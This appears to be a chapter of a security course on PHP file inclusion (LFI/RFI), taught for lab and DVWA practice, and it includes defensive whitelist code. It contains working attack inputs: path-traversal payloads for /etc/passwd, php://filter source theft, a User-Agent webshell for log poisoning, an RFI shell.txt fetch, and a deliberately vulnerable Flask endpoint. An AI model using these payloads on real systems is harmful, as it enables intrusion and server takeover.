Step 144. File Inclusion: LFI/RFI — I Choose the File the Server "Reads for Me"
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★☆☆ | Estimated time: 3 hours
Prerequisites: Steps 135–143 complete. You’ve launched DVWA before, and you have the feel for piloting server behavior by changing GET parameters.
- What you need: Python 3 + Flask (local reproduction), a lab running DVWA (wargame practice), a text editor
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
If Step 143’s command injection was "an attack that plants commands," today’s file inclusion is "an attack that chooses the file to read." PHP’s include reads a file as code and executes it — and the moment that filename comes from user input, accidents happen. Making it read /etc/passwd outside the web root is LFI (Local File Inclusion); making it read a file from your own server somewhere on the internet is RFI (Remote File Inclusion). Today you’ll build a vulnerable server yourself to measure LFI, and reconfirm the same principle in DVWA.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain the difference between LFI and RFI in terms of how
includeworks - Prove the principle of reading files outside the web root with
../path traversal, on a server you built yourself - Explain why the
php://filterwrapper reads PHP source "without executing it" - Explain the ladder by which log poisoning promotes file reading to command execution
- Confirm by measurement why whitelist defense is effective
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + Flask (local reproduction) / DVWA File Inclusion module (wargame) |
| Today’s commands | ?page=../../../../etc/passwd, ?page=php://filter/convert.base64-encode/resource=... |
| Concepts needed | Include-family vulnerabilities, path traversal (../), PHP wrappers, log poisoning |
| Today’s artifact | An LFI measurement record + a "file read → code execution" ladder summary |
2-1. Why include Is Dangerous — The Moment a File Becomes "Code"
PHP’s include "filename" doesn’t just splash a file onto the screen — it interprets and executes that file as PHP code. Yet many legacy PHP apps are written like this:
<?php include $_GET["page"]; ?>
With ?page=intro.php, it’s as the developer intended. But with ?page=../../../../etc/passwd? The server walks out of the web root and reads a system file. This is LFI (Local File Inclusion). And if external addresses are allowed too, like ?page=http://attackerserver/shell.txt, malicious code I prepared executes on the victim server — RFI (Remote File Inclusion).
2-2. The Feel of Path Traversal — How Many ../?
../ means "one folder up." If the include is happening from /var/www/html/, then /etc/passwd is four levels up. On Linux you can’t go above the root (/), so the standard technique is putting in ../ generously — even ../../../../../../etc/passwd ultimately reaches /etc/passwd. Note, though: as today’s measurement shows, on Windows relative paths, too many can point somewhere wrong and fail, so you need the feel of adjusting the count while watching the log’s error messages.
2-3. php://filter — A Channel That Reads Without Executing
Include a PHP file via LFI and the source gets executed, so you can’t see its contents. That’s when you use the special address php://filter/convert.base64-encode/resource=index.php — PHP returns the file base64-encoded without executing it. Decode it and the raw source — including the DB password inside — comes out verbatim. A technique that turns "a read that executes" into "a quiet read."
2-4. Log Poisoning — The Ladder from Reading to Execution
LFI’s true terror sits at the ladder’s end. Apache’s access log records the User-Agent header you sent, verbatim. Plant <?php system($_GET["c"]); ?> in that header, leave one request behind, then include that log file via LFI — and what happens? The log is executed as PHP and the planted code runs. The moment reading /var/log/apache2/access.log becomes command execution. Be sure to understand this path by which a "file-read vulnerability" sprawls into "server takeover."
3. Follow Along
3-1. The Target of the Simulation — A Vulnerable Server That Reads Files for You
To see the principle honestly, build a vulnerable server in Flask. Unlike PHP’s include, Flask reads files "as text," but the structure where input becomes the path is identical (this text was measured 2026-09-09).
Input (the core of lfi_server.py)
import os
from flask import Flask, request
app = Flask(__name__)
PAGES = os.path.join(os.path.dirname(os.path.abspath(__file__)), "lfi_pages")
@app.route("/page")
def page():
name = request.args.get("name", "index.html")
# Vulnerable code: appends input to the path as-is, with no validation
path = os.path.join(PAGES, name)
try:
with open(path, "r", encoding="utf-8", errors="replace") as f:
return "<pre>" + f.read() + "</pre>"
except (FileNotFoundError, OSError):
return "File not found", 404
How to read it: the name parameter becomes part of the file path. The developer expected only legitimate filenames like about.html, but with no validation, any path comes in. For practice, create an lfi_pages/ folder (the web root role) and place server_secret.txt (the server config file role) outside it.
3-2. The Path Traversal Attack — Walking Out of the Web Root
With the server up, compare three requests.
Input
curl "http://127.0.0.1:PORT/page?name=about.html"
curl "http://127.0.0.1:PORT/page?name=../server_secret.txt"
curl "http://127.0.0.1:PORT/page?name=../../../../../../server_secret.txt"
Output (measured 2026-09-09):
GET /page?name=about.html -> 200
<pre><p>Company introduction page</p></pre>
GET /page?name=../server_secret.txt -> 200
<pre>db_user=root
db_pass=s3cr3t!2026
flag{LFI_reading_a_file_outside_the_web_root_success}
</pre>
GET /page?name=../../../../../../server_secret.txt -> 404
File not found
How to read it: a single ../ escaped the web root and the secret file was read in full. Yet the third one — the request with six ../ — actually failed. On Windows relative paths, stacked .. genuinely keeps climbing parent folders, ending up pointing at a wrong location outside the experiment folder. It’s a point subtly different from Linux’s ../../../../etc/passwd, where "putting in many is safe" — in your environment, raise the ../ count one at a time to find the fit.
Why: one core point — code that concatenates a file path from user input is the sin. The attacker’s ../ is merely footsteps walking the gap in that structure.
3-3. Whitelist Defense — "Not on the List, Denied"
Attach a defended endpoint to the same server for comparison.
Input (defense code)
ALLOWED = {"index.html", "about.html"}
@app.route("/safe_page")
def safe_page():
name = request.args.get("name", "index.html")
if name not in ALLOWED: # deny anything not on the allow list
return "Page not allowed", 403
with open(os.path.join(PAGES, name), "r", encoding="utf-8") as f:
return "<pre>" + f.read() + "</pre>"
Output (measured 2026-09-09):
GET /safe_page?name=../server_secret.txt -> 403 Page not allowed
GET /safe_page?name=about.html -> 200 normal response
How to read it: rather than "sanitizing" the path, it accepts only a list of names, so there’s no crack for ../ to slip through. A blacklist (erasing the .. characters) spawns endless bypasses, but a whitelist closes with one line: "deny everything outside the list." A principle you’ll meet again in Step 147’s summary table.
3-4. DVWA File Inclusion (Wargame Practice, Output Examples)
Proceed in your own DVWA lab. The outputs below are output examples.
LFI: change the page value of vulnerabilities/fi/index.php?page=include.php.
?page=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
...
Source reading: steal the source without executing it, via php://filter.
?page=php://filter/convert.base64-encode/resource=include.php
→ PD9waHAgLy8g... (a base64 blob) → decode it for the raw source of include.php
Log poisoning (DVWA/MS2 combination lab): plant PHP code in the User-Agent to leave an access trace, then include the log via LFI.
① Request any page with User-Agent: <?php system($_GET["c"]); ?>
② ?page=../../../../var/log/apache2/access.log&c=id
→ uid=33(www-data) gid=33(www-data) ...
How to read it: ① is the act of planting "code" in the log; ② is the act of having that log executed as PHP. The typical ladder by which file reading (LFI) is promoted to command execution (RCE), and the authority you gain is the web server account (www-data) — Step 121’s "the service’s run account decides the authority" appears again.
RFI concept summary: for ?page=http://myserver/shell.txt to work, the PHP setting allow_url_include=On is required. Modern PHP defaults it to Off — because this vulnerability led to server takeover too often and too easily. To test it in a lab you must turn on the DVWA container’s php.ini, and remember that the moment you do, it becomes "a server that executes external code."
4. Missions & Exercises
Mission — Climbing the LFI Ladder
- Build the 3-1 vulnerable server and record the flag by reading the secret file outside the web root with
../path traversal - Vary the
../count to 1, 2, and 6, and record the result differences in a table (what count fits my environment?) - Send the same attack to 3-3’s whitelist version and confirm it’s blocked with 403
- In DVWA, succeed at
?page=../../../../etc/passwdand php://filter source reading, and copy down the results - Organize in your notes which technique each rung of the "file read → source view → command execution" ladder is
Exercises
Exercise 1. Explain the difference between LFI and RFI in terms of "where the included file lives," and state the PHP setting required for RFI to hold.
Exercise 2. Explain why plainly including a PHP file via LFI doesn’t show its source, and the principle by which php://filter solves this.
Exercise 3. Explain in two steps how log poisoning turns a "file read" vulnerability into "command execution."
Exercise 4. Connect to today’s measurement and explain why the whitelist (allow list) approach is stronger than the blacklist (.. removal) approach.
5. Model Answers & Completion Criteria
Mission Model Answer
The flag is flag{LFI_reading_a_file_outside_the_web_root_success}. Example of the ../ count experiment (measured 2026-09-09, Windows): 1 — success, 6 — 404 (computed from the file’s location, not the web root). On a Linux lab, "put in generously" works when aiming at a target with a fixed absolute path like /etc/passwd.
Ladder summary example: ① read files with path traversal (LFI) → ② view PHP source with php://filter (reading without execution) → ③ plant code with log poisoning → ④ execute commands by including the log (www-data authority).
How to verify: ① did you actually read the flag on the local server? ② is there a results table by count? ③ did you confirm the 403 on the whitelist? ④ did you copy down the DVWA outputs?
Exercise Answers
Answer 1. LFI includes a file inside the victim server; RFI includes a file at an external address like the attacker’s server. For RFI to hold, allow_url_include=On is required, and modern PHP defaults it to Off.
Answer 2. Because include executes the file as PHP code, the source turns into execution results and the original text isn’t visible. php://filter/convert.base64-encode/resource=... returns it after only a "conversion" — base64 encoding — instead of execution, so decoding yields the original source.
Answer 3. Step 1: the attacker plants PHP code in a field that gets recorded in logs, like User-Agent, and leaves a request. Step 2: including that log file via LFI makes the log interpreted as PHP, executing the planted code. The moment a "read-only" vulnerability gains execution authority.
Answer 4. A blacklist must enumerate every "bad thing," so bypasses keep appearing (encoding, doubled ....//, etc.). A whitelist enumerates only "good things," making inputs outside the list structurally impossible. In the measurement too, ../server_secret.txt was blocked by the single 403 line.
Completion Criteria Checklist
- [ ] I built a vulnerable server myself and read a file outside the web root with path traversal
- [ ] I confirmed in my environment how results differ by
../count - [ ] I measured the whitelist defense blocking the attack with 403
- [ ] I did
/etc/passwdreading and php://filter source reading in DVWA - [ ] I can explain log poisoning’s 2-step process
- [ ] I can state each rung of the LFI → RCE ladder
6. Common Pitfalls & Fixes
Wall 1. I entered ../ but only "File not found" comes back
Symptom: path traversal all returns 404.
Cause: the ../ count doesn’t match, or the target file isn’t actually at that location. As in today’s measurement, Windows relative paths fail when the count is excessive too.
Fix: raise ../ one at a time starting from one. On Linux with /etc/passwd as the target, putting in a generous count works, but the habit of first doubting "does the file exist?" is faster.
Wall 2. The included PHP file’s source isn’t visible; only the page changes
Symptom: you entered ?page=config.php but got execution results (or a blank page) instead of source.
Cause: that’s normal — include executes the file. config.php usually has no output, so it becomes a blank page.
Fix: read it with php://filter/convert.base64-encode/resource=config.php and base64-decode.
Wall 3. I tried RFI but the external address won’t include
Symptom: ?page=http://... fails or only produces warnings.
Cause: allow_url_include is Off. That’s modern PHP’s default, and most DVWA containers have it off too.
Fix: in the lab, turn on php.ini for the experiment, but leave the conclusion in your notes: "this one setting turns a server into an external-code executor." That’s why RFI has grown rare in real-world PHP apps.
Wall 4. I did log poisoning but the code won’t execute
Symptom: including access.log yields no id result.
Cause: the log path differs, the planted code got mangled inside the log (quote-escaping problems), or there’s no read permission on the log file.
Fix: try log path candidates in order (/var/log/apache2/access.log, /var/log/httpd/access_log, etc.), and first confirm via LFI whether your planted string was recorded intact in the log.
Wall 5. The %00 (null byte) bypass doesn’t work
Symptom: old-style techniques like ?page=../../../../etc/passwd%00 fail.
Cause: the null byte bypass only worked below PHP 5.3. It’s blocked in modern environments.
Fix: that’s normal. Figuring out "why an old document’s technique doesn’t work in the current environment" is also skill — read what DVWA’s High code blocks.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| LFI | An attack that steers the include target to read files inside the server |
| RFI | An attack that includes a file from an external server to execute my code (requires allow_url_include) |
Path traversal (../) |
The basic motion of climbing parent folders to escape the web root |
| php://filter | A wrapper that makes PHP files read as base64 without execution — a channel for viewing source |
| Log poisoning | Plant code in a log and include the log, promoting to command execution |
| Whitelist defense | Deny everything outside the allow list — path manipulation becomes structurally impossible |
Today’s Commands
| Command | What it does |
|---|---|
?page=../../../../etc/passwd |
Reading a system file via LFI |
?page=php://filter/convert.base64-encode/resource=file.php |
Reading PHP source without execution |
User-Agent: <?php system($_GET["c"]); ?> |
Log poisoning — planting code |
?page=../../var/log/apache2/access.log&c=id |
Executing the planted code |
allow_url_include (php.ini) |
The setting that decides whether RFI is possible |
An Instinct More Important Than Commands
The essence of file inclusion vulnerabilities is "code that concatenates a file path from user input." ../ is footsteps walking that gap, and php://filter and log poisoning are the heights of the ladder those footsteps reach. Defense, conversely, always stands in the same place — don’t use input as a path; accept only "names" from an allow list.
Remember the ladder. One file read leads to source viewing, a password in the source leads to DB access, and one log line leads to command execution. Never underestimating "merely reading one file" — that is the attacker’s field of vision, and the first link a defender must cut.
Once every box is checked, Step 144 is complete. Click the checkbox in the sidebar to save your progress.